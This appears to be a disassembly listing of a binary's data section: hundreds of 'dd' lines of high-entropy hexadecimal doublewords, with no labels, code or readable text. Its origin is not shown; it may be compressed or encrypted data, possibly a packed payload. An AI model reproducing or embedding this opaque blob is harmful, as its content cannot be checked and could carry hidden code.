		dd 0AFDF021Ah, 0F85B2F7Ch, 0DB0018F1h, 9D2B824Dh, 54D800FCh
		dd 0A2FAE49Ch, 94006993h, 24BF5CEEh, 0A6403Bh, 480FE6DCh
		dd 9ABCA38Dh, 2E00DAFAh, 28B70D7Eh, 0E63FAD40h,	0C4EB0FA2h
		dd 97807C3Dh, 0EC152308h, 0F28A8104h, 1780D41Bh, 27413FDEh
		dd 0E0C43E95h, 57A31E00h, 77948197h, 9E4950B5h,	58D13FB4h
		dd 0D5603980h, 854EBB5Bh, 0C5801A0Fh, 6ACB82CAh, 404475h
		dd 4A37BC87h, 0E460C4C0h, 0BA211B01h, 0E67B49FEh, 1F0C33D4h
		dd 8B26A2h, 41F79299h, 5C014A8Fh, 0A775B1EBh, 98804E59h
		dd 534F37F8h, 0F1008083h, 4CD5D218h, 1DBCF90h, 37AD588Fh
		dd 7013914Eh, 4B76221Ah, 0DFE42B50h, 9CD41C07h,	7AF1FDB4h
		dd 0F0515A06h, 0D9DCA29Dh, 0A07C03B9h, 802AB456h, 0E93B0800h
		dd 3E7D1D85h, 428890F9h, 7C2B2041h, 0A67B3B96h,	0A7196CB0h
		dd 2A00700Fh, 660A527h,	1712FD7Fh, 0D0786B23h, 0E4A03E78h
		dd 0E9F78001h, 2C73D84Ch, 7CC480A5h, 0CBC4BCB6h, 5633D840h
		dd 1D0019A8h, 3FDF1294h, 9D7B942h, 99DA4D83h, 0C4C2E82Bh
		dd 0BA9E585Bh, 4D9CBD80h, 3B0146A6h, 3F034797h,	0ACC5BCE9h
		dd 44CF6BF9h, 210CF2DCh, 0F9C30F2Bh, 247ADB20h,	84124016h
		dd 78164B04h, 0C72E782Eh, 0DDA691A4h, 5C77C380h, 0B666681Ch
		dd 0DA7D8410h, 0B508E8F9h, 99C07887h, 1AF8455Fh, 6064F23Eh
		dd 0B40250C0h, 1CA640B6h, 5A07BCC4h, 5071992Dh,	4E86F290h
		dd 0DB2D31C0h, 0F0486032h, 748F163Eh, 0D4B7ECh,	22FA950Dh
		dd 0BEDDCEA1h, 0B692811Ch, 20209966h, 3703A3CCh, 0DB22FE44h
		dd 0D9A09802h, 721B0A85h, 3B3C19E4h, 0A280A4D8h, 4BAE4503h
		dd 88090DE8h, 802D7934h, 51262C88h, 0BB66005Fh,	0D5E3B80Ah
		dd 9024A83Dh, 3E02B8A5h, 417220EDh, 88D01764h, 281B03FBh
		dd 45BE7778h, 0CB2CADE0h, 30C07030h, 724E3991h,	22BB090Bh
		dd 0A072E772h, 654010BDh, 38B102C5h, 79A19D51h,	605AD4C2h
		dd 2DA35803h, 0F0E81DBh, 91358439h, 0F68BD481h,	0F8237E74h
		dd 1E9FC016h, 9835071Bh, 4CBA3B64h, 0D5025B49h,	7B9E4A89h
		dd 8C54DCCCh, 8A216FC9h, 8008776h, 0AF709ECBh, 0BF4A0A2Eh
		dd 550FC8Eh, 54F6EBEDh,	22A83810h, 0BC757E77h, 23054448h
		dd 2D53F843h, 0D569197Fh, 0A56C50BDh, 793C8B11h, 0CA2600D4h
		dd 7765E1A9h, 29A40F02h, 5CEC8564h, 406864BCh, 5B4D6D73h
		dd 0D87C1F9Ah, 0E2EFD2D4h, 33824B4h, 6D910D00h,	25932D0Ah
		dd 0AC249C18h, 7DA140E3h, 0EE393Bh, 0CF2A608Bh,	0FD905729h
		dd 0C325BF12h, 0A2C994A2h, 0B3E84080h, 354C2D3Fh, 82B40768h
		dd 0C9823C15h, 8B4854E9h, 0D865726Ah, 0EDDAFB00h, 262E4C0Ch
		dd 2FC66A85h, 8DF3CC00h, 0F8784703h, 59FDB100h,	9FE80C05h
		dd 72381317h, 4B80F4E0h
		dd 0D86D2938h, 0D3127CEDh, 94A283E6h, 0C04E3525h, 35D5400h
		dd 0B4EEDC48h, 0F18F00CCh, 56B3D9EDh, 54804AFh,	0E25E047Ch
		dd 1A0373C6h, 111451D6h, 62149BE6h, 24F2EC88h, 0E584822Fh
		dd 1E04D444h, 2D099742h, 0C708608Bh, 0E78B1681h, 3B887904h
		dd 6450CCCDh, 0D94A0046h, 966B038Eh, 0A803872Ah, 60E78F36h
		dd 441B9A3Eh, 2AB200h, 7B482EC3h, 0DD01A083h, 4C12C64Eh
		dd 0C15C2815h, 42229DA5h, 198F8DBh, 283BB008h, 98437D3h
		dd 0D857C51h, 873CF0F1h, 3295654Bh, 0CB453541h,	4E2740E0h
		dd 0D204999Dh, 2362B20h, 0A93A0018h, 0C2E0961Ch, 0C63EFDC5h
		dd 62E8804Ah, 0F687D163h, 2F157CF5h, 0D0E66EA5h, 0EA0014EEh
		dd 6B39523h, 3DCA5Eh, 0BCDEDCF0h, 0B6DBB90Dh, 6430242Ch
		dd 6270BA2Dh, 4068DE03h, 0AD714EA3h, 2001FC90h,	0C8A45CA0h
		dd 0C225642h, 8D05FE22h, 0CF3973C4h, 0A35E5BC0h, 4A4E17C8h
		dd 94D84981h, 35744072h, 78B2548h, 0E27769E8h, 9DCEB790h
		dd 450200DDh, 0E73F8980h, 0F914D059h, 82F04D23h, 982B7B6Bh
		dd 3F41AEACh, 830020FFh, 8505547h, 0DE70119Ch, 0C2853914h
		dd 2E68BE0h, 0FD55F860h, 0B84015C2h, 81171C9Fh,	0C40086CAh
		dd 763AD48Dh, 74834CD5h, 0A2160842h, 65C4208Eh,	0C7950E05h
		dd 2AF180ECh, 29926281h, 4885262Dh, 289E0B0h, 108E0839h
		dd 0E859E8C9h, 0EC279512h, 0FB3E1183h, 0AC79D8B6h, 34690084h
		dd 0D6B035DFh, 202C1B9Ah, 0DD00863Ah, 0CB924CB1h, 0A89D00DBh
		dd 1825AC4Bh, 0C003A2Eh, 93994895h, 8444F7h, 0D8268627h
		dd 0B14CD2B3h, 0A3832B00h, 43A27B03h, 3BF9148Dh, 0B70DBE89h
		dd 4208A610h, 2BFBCCh, 0D9C839Ch, 0B05E03BEh, 0CCA0326Bh
		dd 1EACB2E4h, 0E21C0C15h, 7CE771C4h, 0E909E4E9h, 6C182DB1h
		dd 88FCA51Fh, 0D8E23807h, 0CB809A19h, 0EFBF0Fh,	153B5E25h
		dd 0A954929Fh, 0D9E404B5h, 2A4DC931h, 80228C22h, 8FF06B0h
		dd 86E600BEh, 232BCA3Ah, 0FA01D173h, 66E9EA8Dh,	207B8C2Ah
		dd 0FD4F6DC0h, 4881F700h, 9272C050h, 10532633h,	6381FE7h
		dd 691304E6h, 78CD755Eh, 0E988222Bh, 0FBE59874h, 92C0BCFCh
		dd 0C83A8597h, 9041B660h, 6F6382Ch, 3E41E7B7h, 0B15C20F9h
		dd 199AB2BCh, 604861E8h, 0C58874E4h, 866A00E7h,	5326D525h
		dd 87005E52h, 0DDC3EB9Dh, 1A9B26Fh, 98D8E640h, 31F958A6h
		dd 0A322FA90h, 0C0B07406h, 0DA732F35h, 38F1E102h, 7C108FE8h
		dd 0F4C14E48h, 0D825FDE9h, 750062C3h, 371EDAB5h, 5B7B7F71h
		dd 0B18DCDCh, 0BD22D2FCh, 11086066h, 0A323E564h, 1599D4A0h
		dd 40FAB700h, 0E2AF55CAh, 442912A1h, 9B8441F6h,	7EF8EC81h
		dd 0B0A2B074h, 5380D700h, 12BE260h, 0BB958B01h,	84A0B46Bh
		dd 7CFFC0h, 81B00D19h, 0A1D5FC12h, 7B4E371Eh, 4CBFD24Ch
		dd 0EE4C0462h, 8089DBCAh, 18248BD3h, 0C8818D2Ch, 4BF95903h
		dd 2FAC153h, 16808430h,	88A0BC2Eh, 305B82FCh, 17570FCh
		dd 8FABEAFBh, 0F47C810Fh, 2C24CEF8h, 8C11A40Bh,	83482530h
		dd 0A100FDAEh, 1AAFB3E6h, 0D3246Eh, 4FB632C7h, 0E8D0C59h
		dd 0DF934001h, 0D53EA16Fh, 203E6C71h, 63E8BA94h, 2A533000h
		dd 0C1C94D03h, 3A4900E3h, 4078737Fh, 9A4ABC66h,	0AE457820h
		dd 0C8A05C47h, 9D0C8C0Ah, 90402708h, 0B0044943h, 5BCC76E7h
		dd 9A2C8400h, 65F7060h,	0CE8F435h, 91C43E80h, 661C6EE3h
		dd 2C47F85Dh, 2DA66D47h, 0BD9913E8h, 0A7ACB4ADh, 2473E440h
		dd 64E8EBD9h, 0B8BC2444h, 3CCF4280h, 8A00DCE7h,	0D6907546h
		dd 489DE210h, 28A714FDh, 2013F058h, 0C49C0526h,	737A5900h
		dd 59B23AAh, 0BBA2EE70h, 2168FC4Eh, 44850BE1h, 57E84084h
		dd 610FE8A3h, 2D200A79h, 6CCEA3D6h, 69CA7300h, 0F314DC1Bh
		dd 87C8DE57h, 3FE74577h, 0D6A2D9B8h, 48988258h,	0F3F8D85Ch
		dd 16298866h, 0C4E84128h, 0CC1D9926h, 986E840Ah, 5CC68500h
		dd 0FB40C8B3h, 0B7FBA980h, 77EEB6D3h, 0D197B4A0h, 5DA1DB0Ch
		dd 880128BBh, 0F34E7A6Ah, 0EC18C8h, 74B911BFh, 5CDC3B55h
		dd 0A730B264h, 15C90D21h, 0A880CCA8h, 0F940F63Eh, 220BCB01h
		dd 0B230E5ABh, 88E85902h, 5CB949E7h, 1ED96A98h,	58481CB0h
		dd 42D4006Eh, 0CA9ED53Dh, 16557D0Fh, 0C9D9A404h, 6C1401C4h
		dd 0CC0F0244h, 2FCD05E7h, 0D235AE20h, 2D602483h, 0C8F74B38h
		dd 8CC4224Dh, 0BC7DE726h, 6C3FBD42h, 0F9DA2D70h, 3B082C4Eh
		dd 467127C8h, 7A121134h, 44F8589Ah, 4D6D2C80h, 0A007E2D0h
		dd 543C3418h, 1BA89350h, 8E15162Fh, 0E5A00FA7h,	0BC008FEBh
		dd 93E16994h, 0B463232Ch, 6BDC3807h, 0AC44E2C5h, 6C477F90h
		dd 7B2CFC2Eh, 0A6654D00h, 3AEE5314h, 2B9F003Bh,	0ADDDDFFCh
		dd 18900658h, 0FCE3404Bh, 0E3F180Eh, 6BE4CC80h,	0F1D63178h
		dd 279670E0h, 64C44BC8h, 44E044h, 0C02BDCC4h, 3CB578E1h
		dd 2616617Bh, 0CC23A9Bh, 6980DC23h, 90901C8Bh, 0F1EC2DF9h
		dd 2414E812h, 58D460ECh, 2881F7C9h, 0D0DB6648h,	5000810Dh
		dd 0A03AAF56h, 0A15D959Eh, 5AFAB354h, 6B7C0028h, 0EBCE7E44h
		dd 9B09478Dh, 0A03C76ACh, 8263A398h, 0B55609A0h, 2446913Bh
		dd 0E2610800h, 0B2424A57h, 621A0275h, 0C4229B91h, 0BA015859h
		dd 0CE0C2E5Dh, 99C880E7h, 30EA0158h, 0D1B33B17h, 6EC0C733h
		dd 1F0546D9h, 15D801FEh, 0CB1BC880h, 234D2440h,	0D8642578h
		dd 0EB217143h, 0D1AE9509h, 18D914E8h, 3820B77Ch, 0F57D699Eh
		dd 0D02DB304h, 5C9970E7h, 98AB0AE8h, 73450932h,	5CEEE8ECh
		dd 57F1BA07h, 97C0FE0Ch, 7CF2FD70h, 7A5A0036h, 0E85E81B2h
		dd 87182AA9h, 9F9903C8h, 9989914h, 9079777Dh, 42F17E08h
		dd 9F216641h, 0C9BE3295h, 0B4C5E925h, 0A961480h, 0FCBF4449h
		dd 0BBB90050h, 679D21CAh, 7A3CD571h, 0A7233CDEh, 0E0F8E882h
		dd 0AA30B88Bh, 8348418Ch, 47C4203Bh, 5D006939h,	40BEA4A2h
		dd 1438A31h, 0ECB4F737h, 700F731Ah, 0C45ADE98h,	0B960A827h
		dd 1F879CAAh, 405F506Bh, 81072B64h, 3E00B219h, 0FB01F47Dh
		dd 0A48E683Fh, 0D79600C8h, 771E7FA6h, 0A9076066h, 0EF6EC67Ah
		dd 796B2880h, 301097FEh, 7B88F2E5h, 9EEDF088h, 204E444Ch
		dd 4F49EEA3h, 87180912h, 0BD7C245Ah, 8C1A9910h,	4D10B9C8h
		dd 8D24DC38h, 4053CBA4h, 68007011h, 0A15A6177h,	55776753h
		dd 0EE32C00h, 14DA8F0Ch, 0E7A713C9h, 27C3072h, 0AE2CC1F7h
		dd 7F0090E6h, 0AD201E4Bh, 605FE832h, 2CD3107Eh,	38001102h
		dd 0E345B4E9h, 13CC755Dh, 0BA4073Ah, 70FBC700h,	1E57F80h
		dd 247730Ah, 0B790FE10h, 615D268Bh, 507BB0F1h, 60578098h
		dd 205F144Ch, 3B2B34FCh, 150EAB12h, 94A81058h, 3DD800C8h
		dd 0BB4CA0C5h, 6C7D57CEh, 0F4318F26h, 324452Dh,	478AE48h
		dd 887A27C8h, 538890BDh, 186C9D85h, 4EB1C805h, 80AA9465h
		dd 55381CBEh, 0D8D3C503h, 0C8F7CB7Dh, 95DF8476h, 81F4861h
		dd 0BC79C072h, 355D7624h, 0F250FC0Bh, 738B20A2h, 64CC09C4h
		dd 433B38D7h, 0B3A4BC9h, 0E1666AA9h, 6802C73h, 3FAD0E1Bh
		dd 928A0939h, 180089EDh, 0D7076CDAh, 37846D0Ch,	40CED05Ah
		dd 7CBC2C9Ah, 7640843Bh, 0B0C5A3ECh, 84440088h,	25E67E21h
		dd 0ABB8010h, 58E85500h, 0DD9DF909h, 0DCFEA049h, 0A0BA004Ch
		dd 6C993103h, 9F2D7868h, 0D83833C3h, 93AD1D8h, 5DFF661Ah
		dd 77000844h, 0EB0BA852h, 0A12ACCFBh, 418EBF84h, 61604338h
		dd 30061454h, 0A3D0A565h
		dd 11D6D05Ch, 2101EC32h, 8433D93h, 7A8804C3h, 0AF6CE99Bh
		dd 20FEDC72h, 9619D995h, 64040E00h, 0D3462203h,	119C0C38h
		dd 673974F6h, 52756A88h, 6822C8CEh, 4C111200h, 2DABCDF7h
		dd 9D380C71h, 0EB07830h, 9C4434A2h, 64478102h, 0D9110D7Fh
		dd 9366003Ch, 0CAFBD4D1h, 1069800Eh, 0B632C0E1h, 0D647F3h
		dd 60DD1B3Dh, 0EEB0AB0Bh, 1F7C9C13h, 1979CC32h,	9090084Dh
		dd 0A97165A0h, 0ECBD2Bh, 62A76192h, 655B2h, 0DCEF9C57h
		dd 76956C82h, 18A0C0A4h, 0FD4CAB9Eh, 98F72270h,	0EE8F0BB0h
		dd 0D800A007h, 412A5ABEh, 0D073CC09h, 20E858B4h, 10B7FD15h
		dd 726B820h, 124D968Ah,	0DF53E0AFh, 3F00C5D8h, 5951ED3Bh
		dd 0B0F5078Eh, 0A7744B20h, 0AC6201B0h, 811124B6h, 5CE46DCh
		dd 0DD3B30B3h, 34E8B1h,	0C89B297Dh, 1272E531h, 0E83E992Dh
		dd 37B28138h, 0E820DB7Dh, 0A58B05FCh, 0A341B463h, 0B14B1314h
		dd 419F2CF2h, 3014928Eh, 10D82839h, 0C84A47CFh,	0E88CE434h
		dd 64FC5812h, 0F800803Eh, 0E4704E71h, 2400FAC0h, 0EC672BF7h
		dd 16E1F9CBh, 497A0779h, 2852C800h, 97535B00h, 23039E16h
		dd 0D6DB02DCh, 0F8EC63A4h, 0A36710C5h, 293A787h, 0C0E0EDF2h
		dd 9E8D88D0h, 2B5CF62Fh, 0FCF1A0h, 0C576254Eh, 0DD00C639h
		dd 0ECCD6BDBh, 0D3626EB1h, 154A2A0h, 0F461C570h, 0C1C48A86h
		dd 2E7A9Eh, 0C7F7D724h,	0D68940Eh, 4C904891h, 712F00D3h
		dd 0E85DF28h, 0AD84500h, 0C006F0B9h, 0B2E639B7h, 0B27926h
		dd 0A85BC91Bh, 6612AB17h, 8F82DBCh, 8069A280h, 3FE0D8E0h
		dd 8871B979h, 757E6D00h, 0D748F01Eh, 0B484A036h, 58130076h
		dd 68963AC9h, 8C809B7Bh, 9DF40287h, 6EA429EDh, 0C051D0E2h
		dd 9860680Eh, 12A52129h, 0F3C84106h, 3448A8h, 1256FDFEh
		dd 0A025A108h, 0D3FFF768h, 0B0D40419h, 5423EAC2h, 0CCF3AC91h
		dd 0CA37E300h, 222DADF4h, 0E0A29D00h, 0CFEF52FCh, 8C393962h
		dd 3F10CC80h, 6B6960Ch,	0E05F6100h, 0DCF31172h,	2E842CCDh
		dd 0DEC000ABh, 0D0D827CFh, 0FC00B176h, 8D1A08FAh, 5CF958B0h
		dd 5180E895h, 968BCF91h, 54E1722Eh, 0CCA0BD61h,	66015433h
		dd 918F6FDAh, 114038F5h, 50158F7h, 0BE60A00Dh, 10252F2Dh
		dd 448A84FDh, 2AAA0580h, 28A8B5C3h, 613B8F94h, 119FAE9h
		dd 1351EAECh, 0B80781B2h, 914AC198h, 1E7B71AAh,	0F83E0124h
		dd 81CF7CE7h, 0B7DEAC21h, 0E090DCFBh, 40F72711h, 0FE1ABE2Ch
		dd 0E7B5001Eh, 5F730609h, 1302E12Dh, 786AC4F3h,	21585229h
		dd 0DE4B7E42h, 0F9B200B7h, 7AAFC0A2h, 1D4DDB00h, 9F1813F5h
		dd 0A6F3005Dh, 9C776133h, 0C8A012A2h, 0C84DBC5Bh, 88148EC0h
		dd 0B4902D42h, 0FE007644h, 0A0F1BAA9h, 0EE64F394h, 8D83099Bh
		dd 107449E6h, 7F4E250h,	5DEBE0C4h, 0B9FAF0FCh, 0AB0FDDD2h
		dd 2449817Dh, 48CC18E7h, 0D5268EE6h, 0E789C8D1h, 50E45E4Fh
		dd 2500F5C5h, 99569B6Ah, 2CEC05FCh, 12E8683Fh, 44E421EDh
		dd 54801272h, 6DDD8060h, 57A948EAh, 764B0501h, 0DC6A690h
		dd 0E73A60F2h, 7164671Bh, 49B07A75h, 91403C76h,	2659A55h
		dd 21062E78h, 8E5F2502h, 9F6EA1B9h, 0F061497Dh,	0EC146Eh
		dd 7527CA22h, 1DC490E2h, 676A25C3h, 0B498C412h,	3B001E9Dh
		dd 349C4784h, 2AEA39h, 0D1C10B32h, 0A59D5F17h, 0D0452D27h
		dd 58A0026Ch, 3CCB5649h, 106F48C9h, 0E64D1EFBh,	0CD4B05A6h
		dd 2F32FE8h, 0F819F5B0h, 630078CEh, 0EC7767DFh,	7C85E48h
		dd 91BD08C2h, 0C0315CCh, 80B88468h, 0B78058BCh,	0AA445CAFh
		dd 0FB010458h, 0BADC3814h, 570DA420h, 41BE04A8h, 8CABF4F7h
		dd 0AD0EA3ECh, 0AFD5893Fh, 2046E406h, 0F9022CF8h, 6317695Bh
		dd 84F1E462h, 142EF807h, 2F62AC71h, 117CD8h, 0ED242987h
		dd 4B48AB1h, 0F4784CB0h, 0AE351800h, 7C43846Eh,	0A3F1EFE7h
		dd 2280707Ch, 0D89D503Bh, 189BF400h, 0C3B2154Bh, 1720227h
		dd 2EA2071Ch, 285B18E0h, 0E5C54705h, 0C0849E09h, 2BBE0844h
		dd 258034F8h, 60F63856h, 6322A300h, 5699532h, 74833F84h
		dd 0E709C0DCh, 4CA0FA04h, 0B3BC6012h, 92E0A14h,	0FF9D00AAh
		dd 616EA0E6h, 36F12647h, 0EDF50300h, 1800E0EAh,	8E4E89DBh
		dd 0E3EF95F8h, 3E00F268h, 0EA683A55h, 0DA007F61h, 0B940F506h
		dd 0AAC233h, 924DA816h,	88FF48C1h, 0BFE48B01h, 8E12A9F7h
		dd 507D409Eh, 92490824h, 0F44F06DFh, 4C011935h,	65C804A7h
		dd 0A8845783h, 2AE3116h, 2D324Fh, 9F0ADC9Ch, 5A305C60h
		dd 0DD66C8h, 73A034F0h,	920CFB1h, 29408662h, 0D17487E0h
		dd 3C6644C8h, 7AD380ABh, 20F12544h, 0F08057Eh, 0FB2AE903h
		dd 0E638C8E4h, 798FB700h, 19C746E1h, 0E2E74B72h, 0F6C817B0h
		dd 7F25E0F2h, 29924079h, 0FCE3BCF0h, 47ECF631h,	75C901F8h
		dd 38042F11h, 0EA4DE860h, 58CFE83Bh, 479CD892h,	20DBB91Eh
		dd 7985FC36h, 0CA2D2B3Eh, 7CF254C1h, 6E5F9800h,	81004B0h
		dd 171D1164h, 0ECBEC0E5h, 6570434Ch, 4FE24B80h,	48C5FDh
		dd 17CF8B00h, 0B700C3F3h, 9A4E202Bh, 1A785D5h, 7A148C6Eh
		dd 4E402329h, 0C0481120h, 756BF881h, 225433ECh,	91290F63h
		dd 2AAF821Ah, 90F6A509h, 61510C40h, 10FA00E7h, 82DFBBFh
		dd 0D83C6540h, 958808Eh, 0A6DFB120h, 15C2072Ah,	0E65988D5h
		dd 265C41FDh, 0D7017931h, 61EDDB3Bh, 0F8401928h, 4B29C312h
		dd 0F81CA494h, 2AA45A03h, 0B945BF73h, 8AD0F1Bh,	0B2DAE8E8h
		dd 836A42Ch, 6A137611h,	0A02CB80Ch, 23C41ECh, 75A7208Ah
		dd 0E923184Fh, 80EDEABDh, 0A876BF90h, 8C18C674h, 431C3804h
		dd 0EA0CBC90h, 41F8206Fh, 98618075h, 903D5948h,	6211C0CEh
		dd 0E822B33Eh, 51D82C26h, 7A082519h, 31024h, 780BB336h
		dd 0AD53DD4Eh, 80ABE609h, 2EF4828Eh, 1610401Eh,	70BC3940h
		dd 253DE8CCh, 5F187540h, 4A8045B4h, 66F70D59h, 0D8107690h
		dd 87009B98h, 748175CAh, 3108D47h, 0D00C8E83h, 7E003FB5h
		dd 796A09C3h, 0ED803BDh, 6E5DAA52h, 4FC000DDh, 0EA4AFAE6h
		dd 0BDCAA700h, 66E5A2F8h, 4D9C005Ch, 348C1FC8h,	7C3BA80Eh
		dd 0C4949655h, 72B9001h, 3EF8A0CFh, 0B67DBDh, 0FBC53C0h
		dd 0DD82303Dh, 7041C5FFh, 700AB5Dh, 1DEFE1BEh, 70129Eh
		dd 47096E83h, 8E7C7F11h, 7A3DE500h, 6D99F6FDh, 0BC7150C4h
		dd 86ED307Eh, 609A41CCh, 1749EC00h, 0DD8D4205h,	97FB0099h
		dd 6A74D795h, 0EA634B45h, 4A5930h, 14AAB108h, 9025FF91h
		dd 0BEC70B01h, 0BD312E5Ah, 3C3BE1DCh, 40E0E598h, 71ABEEC2h
		dd 6DDBC80h, 0D03BD14Dh, 105B6143h, 880390B8h, 127EB187h
		dd 0CE1A2780h, 6F328E01h, 8C974CDFh, 51AB08F0h,	0FBEC0C4Fh
		dd 10EF0404h, 207C5FD8h, 0C03ADC3h, 0B80E9C92h,	160020E9h
		dd 0CB808512h, 0D68D9Bh, 0BE6D0874h, 400730D3h,	75D97F60h
		dd 0B4D3616h, 0BDE6EC25h, 33E5C380h, 4707EF3Ch,	915859D3h
		dd 0BA2F2641h, 98E749E4h, 6A8932E5h, 3FE04619h,	96138809h
		dd 66075058h, 9340145Eh, 4048D3h, 0C5FDE8AAh, 25D8BB9Dh
		dd 525DEE03h, 7DB61F0h,	375E1518h, 53DA9035h, 9DF0161Fh
		dd 38C4C13Ch, 0ED118FBFh, 0E2DDC359h, 46580026h, 0B9FE36B4h
		dd 411C0A38h, 0BD0F9C40h, 184C01F6h, 28BE315Fh,	86ACA407h
		dd 6842C0F5h, 99C03E6Ah, 6E17E357h, 0C5D40041h,	4340ADDAh
		dd 63EEC67Fh, 0F0BF0303h, 0F8FCC439h, 0C8262D1Fh, 1583F980h
		dd 77AC70B5h, 2FE90070h
		dd 2C639D90h, 8960BCA5h, 0C8DA7818h, 0F82078FFh, 58447876h
		dd 96015D0Ah, 0A34F5140h, 0A7B5303Ah, 16CFA4A0h, 0D2496E14h
		dd 0B9E40848h, 1DE841C7h, 119840FFh, 0DC038A14h, 2A7D390h
		dd 23E87A89h, 4942F688h, 0C1001CD2h, 0E15E120Fh, 0CDAFCD7h
		dd 0F32640B9h, 0C9306868h, 22BF4825h, 24BC3F8Fh, 520B8E87h
		dd 0AC9491B4h, 7EA02B42h, 79F6008Ah, 0C2DBFF4Ah, 13E8C1B3h
		dd 3B93D9C3h, 0EE91002Ch, 51F366A5h, 0D10089EAh, 0B2C3622Fh
		dd 3D5BAA0h, 0FE743439h, 0EAC24852h, 0BB4C3048h, 97412160h
		dd 52C078h, 5C9A7B54h, 0E4AD0BECh, 82AC9C05h, 0ABC3FA18h
		dd 0E7972D5h, 34F7C2FBh, 0D443EA80h, 0C70092F6h, 866C5952h
		dd 30DA110Bh, 2E31D209h, 9674BCA1h, 0BB60F200h,	764C4F40h
		dd 185CF4DFh, 89203ABDh, 0B61F01FDh, 0E02D632Eh, 0E0D4A3E0h
		dd 0CE6D0D11h, 0D829223Ah, 400076E1h, 0EB3DED38h, 177454Ah
		dd 0A5C3A2BDh, 0CEA1DCh, 3172526h, 8B15A618h, 0BA804351h
		dd 4D00D9FAh, 0D058BD39h, 614B52D3h, 1EA8190Ch,	6079E42Ch
		dd 302421E9h, 0A155319h, 0DCC876h, 0D8AA0674h, 90890DC4h
		dd 0DA560F21h, 0F2007684h, 28FC207Fh, 95825D00h, 93BBB375h
		dd 8DDB1AECh, 41410EAh,	0F160E9FAh, 49CEDB30h, 5E7A0009h
		dd 0AE8A12EEh, 0D50EAADCh, 86EAB011h, 22288016h, 62444A8Dh
		dd 670E013Eh, 0B7117B30h, 690CE025h, 44A93600h,	9C6135B0h
		dd 0A57D00CBh, 5BB309E8h, 521E01DAh, 0AF52ECDCh, 2959CBC0h
		dd 3E730088h, 0A1C4CD4Bh, 0E900BEE4h, 0B958FE8Ch, 3F7907h
		dd 0B4D0788Dh, 7C967A5Eh, 1E19DE00h, 0FEC49369h, 0CDBE3C60h
		dd 238E5A80h, 0AB43C835h, 34D358h, 0D58DDDC5h, 3DF49Bh
		dd 2DE65B69h, 1644F6FCh, 9800DCFAh, 591EC3E4h, 0B06DD3Fh
		dd 0BDC23CBAh, 236CCB80h, 76159217h, 0A0DABCh, 714CE9BFh
		dd 0B89F9Dh, 0BD1FD029h, 7F786706h, 5048D437h, 0E6003305h
		dd 13ACD7B8h, 0C728003Ah, 74FF4DC1h, 35007283h,	9B2F936Fh
		dd 7739EFh, 0C71A3C42h,	7BFD5509h, 0B7CC0A00h, 78DBEADFh
		dd 258000EEh, 9747A31Dh, 0D400F018h, 95D9DE83h,	724484h
		dd 8827B7E4h, 37D725B2h, 5FE61906h, 7550A4C4h, 820C004Ah
		dd 1EC13306h, 3F0F0353h, 60D59DE1h, 553087ADh, 7D5C092Eh
		dd 1400A159h, 24A4E888h, 403F9E00h, 960525B8h, 350C00FAh
		dd 1C3AB74Fh, 33031FA7h, 0D6643F63h, 3941B0C4h,	87C50D4h
		dd 0D7381C72h, 4797DEE4h, 0B0E29198h, 0E98A0466h, 0BF00107Eh
		dd 0E49EEB2Fh, 64A486h,	0ED9CF051h, 28949BE7h, 80484938h
		dd 2A18B77h, 2CF96Ah, 7B1782B7h, 6C70EEC1h, 0AE5C2400h
		dd 2BB0EF98h, 0EA7C0053h, 48E547C5h, 3B7C54DDh,	0C3E07751h
		dd 45ACDAE8h, 5C003D75h, 0A20D8815h, 0E4805Bh, 3FF9DCB1h
		dd 9268C9B9h, 0BBE9CE13h, 3770C703h, 0A79DD884h, 7D343996h
		dd 5F921E04h, 605C9709h, 40FDF985h, 589F1C00h, 0C2A9B939h
		dd 8DF20022h, 6DA6365Ah, 52EE63F5h, 190F07F6h, 0AEB9B19Dh
		dd 7E00F73Ah, 0CBCA12D7h, 9190E9h, 73FEA475h, 9EE15D0Ch
		dd 48293C00h, 6095E8C4h, 9B5A00E0h, 0DA4766B0h,	270764C2h
		dd 906C1445h, 0E0A1B660h, 0F3BD008Ah, 0ACD3D157h, 8C0054C1h
		dd 50424D2Eh, 0B733E4h,	2B08A91Eh, 82DD7075h, 63925400h
		dd 8A35B1E7h, 0F61200F8h, 6E98D3E1h, 0A6C69FBFh, 0F2B89CF2h
		dd 2634C57h, 0B80CA100h, 64BFC161h, 0F7B3E51Fh,	91F16A40h
		dd 7C9AEEB6h, 177D8Eh, 26614F3Fh, 0F17D1E84h, 28F48500h
		dd 4B33365Bh, 0FE51037Ch, 0CD359F71h, 8FABD2A8h, 0A87BC300h
		dd 0B19AEF72h, 33B206D5h, 785A93D7h, 0ABD422h, 713B5F7Ch
		dd 7FD901F2h, 2D551F00h, 9861CEC2h, 0F9511EB5h,	8D6A838Ah
		dd 1100E9B3h, 9F7ECF5Eh, 1DE237F8h, 8035A147h, 9D2DDEF4h
		dd 923BD7EDh, 1D0B00C6h, 0A3BAA5C2h, 0F4AD002Eh, 0E1C92575h
		dd 51003FE4h, 0C057CD5Ah, 9D5FD5h, 4090CC85h, 0C1276529h
		dd 0BAC91900h, 0AAD6B8DEh, 0E447508Eh, 0D1A603E0h, 993BC16Eh
		dd 22E7C9C0h, 0F2E0CA77h, 0A4007CF6h, 3C57E940h, 0BD85A5F3h
		dd 183AA558h, 95320008h, 0B7E8E5B1h, 0B9C6020Ch, 0ABBBCDDFh
		dd 9020D860h, 0A2092A1Ch, 0E661F5C0h, 913D13h, 978B60A8h
		dd 0C466E8F4h, 6B3AAC00h, 0F7369BC2h, 65380095h, 20E78D33h
		dd 62703D40h, 1EC2D25Ch, 0A0C12A46h, 850EFB42h,	0AEBFD880h
		dd 0F37CCB2Dh, 4E4A8B07h, 0BF790FEh, 0EFDA2AB3h, 0A678A1C0h
		dd 31AA1D29h, 7B740041h, 8981B73Fh, 0C20013F4h,	0C91DEFB6h
		dd 2D9507h, 15557596h, 0DF4F67C8h, 0A98E1000h, 0C9A6006h
		dd 3DCC00BFh, 0F81EDCE9h, 290083CBh, 457B9D56h,	51C81753h
		dd 1AD8AEF4h, 0B5AA000Bh, 9D1E6AB3h, 0A21279F1h, 18402891h
		dd 20760834h, 0D85503CBh, 0DECAF07Fh, 0F130C0F5h, 0D001EE3Eh
		dd 51C6C424h, 8403BCCh,	0FD758C5h, 0DBCB2180h, 5BB93118h
		dd 5807103Bh, 0C8C8543Ch, 0A8008E98h, 62E7D66Eh, 0EF51EBE5h
		dd 2BFD40E5h, 70A68986h, 5CF030D6h, 0FD4B0E00h,	0E94AF667h
		dd 188FEB88h, 831E9E6Ah, 0B44F5BE5h, 7EACC9F8h,	2549EE07h
